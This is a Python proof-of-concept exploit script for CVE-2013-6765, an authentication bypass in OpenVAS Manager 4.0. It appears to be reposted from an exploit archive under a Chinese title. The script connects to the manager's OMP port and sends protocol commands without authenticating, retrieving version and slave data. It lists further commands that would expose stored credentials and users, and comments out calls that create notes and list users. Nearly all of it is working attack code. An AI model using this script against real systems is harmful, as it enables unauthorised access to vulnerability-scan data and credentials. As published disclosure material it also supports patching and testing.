OpenVAS管理员4.0身份验证绕过漏洞的PoC--2014年7月9日漏洞

时间:2014-07-28 04:18:22 +0800


#!/usr/bin/python

# Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC
# Date: 09/07/2014
# Exploit Author: EccE
# Vendor Homepage: http://www.openvas.org/
# Software Link: http://wald.intevation.org/frs/?group_id=29
# Version: OpenVAS Manager 4.0
# Tested on: Debian GNU/Linux testing (jessie)
# CVE : CVE-2013-6765

"""Small list of working commands

get_agents
get_configs
get_alerts
get_filters
get_lsc_credentials
get_notes
get_nvts
get_targets
get_users
get_schedules

More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though.
As designed in OMP protocol, commands must be sent this way : <COMMAND/>

"""

import socket, ssl

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Require a certificate from the server. We used a self-signed certificate
# so here cacerts.pem must be the server certificate itself.
ssl_sock = ssl.wrap_socket(s,
                           ca_certs="/var/lib/openvas/CA/cacert.pem",
                           cert_reqs=ssl.CERT_REQUIRED)

# OpenVAS Manager listen by default on localhost tcp/9390
ssl_sock.connect(('localhost', 9390))

print "#################################################################"
print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass  #"
print "#################################################################"
print "n"

print "--> Retrieving version...(exploiting the bug !)n"
ssl_sock.write("<get_version/>")
data = ssl_sock.read()
print data
print "n"

print "--> Retrieving slaves...n"
ssl_sock.write("<get_slaves/>")
tasks = ssl_sock.read()
print tasks
print "n"

"""
print "--> Creating note...n"
ssl_sock.write("<create_note/>")
note = ssl_sock.read()
print note

print "--> Retrieving users list...n"
ssl_sock.write("<get_users/>")
users_list = ssl_sock.read()
print users_list
"""
ssl_sock.close()
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